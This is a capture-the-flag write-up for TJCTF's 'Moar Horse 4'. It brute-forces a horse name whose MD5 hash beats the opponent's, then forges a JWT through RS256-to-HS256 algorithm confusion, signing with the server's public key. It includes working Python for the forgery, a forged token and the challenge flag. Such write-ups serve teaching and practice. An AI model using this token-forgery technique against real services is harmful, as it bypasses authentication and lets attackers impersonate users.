Tags: jwt md5 

Rating:

# Moar Horse 4
1. Intro
2. Our brand new racing horse
3. Allow our horse to compete

## Intro
In this challenge, the goal is to win a race against MechaOmkar-YG6BPRJM, the most powerful horse of the world.

For this, we have the python script of the server, we can see how the races are done, and how a horse can win.

We also can see that the system use JSON Web Token, signed with RSA and strong keys, so we need a way to bypass it.

in a first time, let's focus on the horse, and in a second time on the way to let him compete

## Our brand new racing horse

In the code, we can find the way the speed and teh result of the race is calculated :

![](https://imgur.com/FIpVGbr.png)

To calculate the speed of a horse, it take "Horse\_" + the name of the horse and hash it using md5, and convert this hexadecimal number and convert it in an integer.

The md5 hash of Horse_MechaOmkar-YG6BPRJM is `fffffe21758bb7cc0b59ffc49ebd5490`

We need a horse which have a hash greater than `fffffe21758bb7cc0b59ffc49ebd5490`

Let's make a small python program which do it for us :

```python
import hashlib

ttry = 0 #number of try
text = ""
hash = "0"

while int(hash, 16) < int("fffffe21758bb7cc0b59ffc49ebd5490", 16):
ttry += 1
text = "Horse_nhy_" + str(ttry)
hash = hashlib.md5((text).encode()).hexdigest()

print(ttry)
print(text)
print(hash)
```

The result is

```text
9700705
Horse_nhy_9700705
fffffff7510dfd376b3ea185b6a10959
```

Say hello to my 7f horse named "nhy_9700705" !

## Allow our horse to compete
The most difficult part. How to add our horse in a race ?

First, let's buy a Horse, because we have money to, and try to do a race.

We can see the url for a race is `https://moar_horse.tjctf.org/do_race?horse=horseName`

Let's try `https://moar_horse.tjctf.org/do_race?horse=nhy_9700705` :

![](https://imgur.com/fzYEr1O.png)

Yes, of course, too easy.

let's have a look to the cookies :

We find something named `token`

![](https://imgur.com/CTYo4Pe.png)

Copy paste the content in [cyberchef](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=ZXlKMGVYQWlPaUpLVjFRaUxDSmhiR2NpT2lKU1V6STFOaUo5LmV5SjFjMlZ5SWpwMGNuVmxMQ0pwYzE5dmJXdGhjaUk2Wm1Gc2MyVXNJbTF2Ym1WNUlqb3dMQ0pvYjNKelpYTWlPbHNpVG05aGFDSmRmUS5oU3lKS2hUTWp2dlFjeTlzWTlMaHhlS2ZSVXJ4SFdYMVJCOE5qLVVPc29haGlydzF4WnU2c3M3d3pRZC1OaE1QQ19NSF9sZWRTODdwNGhWVjlneXRrcDZBS29GMllQQnJrM2VCRjNibDA5YnB0bEs5eEw5eFdTN3JscnFZR0I5Nk5qYUExV0Qzelg1SGI1dGNKenJ5OHpXTlhTRkNKSzZBUXhTNmw5c2EwemRGUWpRVEgzZnhtRnZzc2pIZTQ4R0dQVmstcWRBN0ZiY1VHMDdEaF9LUEMxeVdmQXU2eWMwbEt4ZUZ4RWVKREVaeFJYSnJOWlNsY0x3Z0RIdDRHOEpWT2lHZFdCeEZ4X0c4VktNaE9ZX3JzbzRTN2VUWkFZbENRUzVITFgwajVJUUJPRFN0TU9zREgtNWo1UmM2RUhrSjM1c3dPM1JGeS15eUIwZ24ySS1BMDE4M3EyUzdpeWxhQU82UjhFMk5qLWd2ZU0zU2RpU29GenNYS2ZfQ192ek1pOG9vZ0lSRnFJZ04wa1lLeG01b1pCTXBDQURodDJJVkNNUkRySnhicEgySjBycFNhc0F6X0I5VFM4UzFYb3FpYUFPT2FsazlqVnd5ejFWcjFGS3JuYmZXYjZrNDUzZnhnYjNKWFcwTnJNZUVqQ3NVbk5QMk1rUy1LRnRYQVp6MHRFZXZTS1hVaFVIcTBwUGFZckhZQ043aTZQZ0RhNUF5T3l0ZTl2d1pkYTJlNXpRWWxqeEwwQXltRU9xOTlSMUdsSFpoWlduYmt3YmtQSjBEYnlSTDYzSjNreUNVbkJWSVp1eHRqMThDNFZTb29IODJEOFVoc3l4NWVhM0NDZWJVVjNwcThiZVdXWFZCMzd1Qk94aW9UbTVwVmVCMGQzUndRTmx6bVdRYjFxUQ) and use From base64

![](https://imgur.com/3iCIQxH)

We can find some readable data.

```text
"typ":"JWT" => This token is a JWT (JSON Web Token)

"alg":"RS256" => This token is secured using RSA, and we only have the public key, in the challenge folder.
```

So we need to find a way to sign the token without the private key.

And at this moment i found [this](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/)

To sum up, it says that there's two way to authentificate the tokens : RSA (with two keys, one private and one public) and HMAC (only one key, private)

The method used is in "alg":something

The library used in the server script just follow the method written in "alg", it doesn't check if it's RSA.

So we just have to create a token, using HMAC, and using the public key as the key, because the script will use it to verify the token.

![](https://imgur.com/3ZwRqIW.png)

The python script to generate the token :

```python
import json
import jwt
jwt.algorithms.HMACAlgorithm.prepare_key = lambda self, key : jwt.utils.force_bytes(key)

with open(r"F:\CTF\TJCTF\web\horse (jwt)\pubkey.pem", "rb") as file:
PUBLIC_KEY = file.read()
#print(PUBLIC_KEY)

data = {
"user": True,
"is_omkar": False,
"money": 100,
"horses": ["nhy_9700705"]
}

token = jwt.encode(data, PUBLIC_KEY, "HS256")
print("token : ")
print(token)
```

Output :

```text
token :
b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp0cnVlLCJpc19vbWthciI6ZmFsc2UsIm1vbmV5IjoxMDAsImhvcnNlcyI6WyJuaHlfOTcwMDcwNSJdfQ.FePBRUPwj4co2d8_7AAg_NYkkhBM7-hlsJTwUOQBepk'
```

Copy Paste the new token into the browser, reload, and you have a brand new horse !

![](https://imgur.com/jDOx0UE.png)

Now Race!

![](https://imgur.com/VcJjWnH.png)

Got it!

`Flag : tjctf{w0www_y0ur_h0rs3_is_f444ST!}`

-----

*If you have any question or feedback, feel free to send me a message on Discord, nhy47paulo#3590*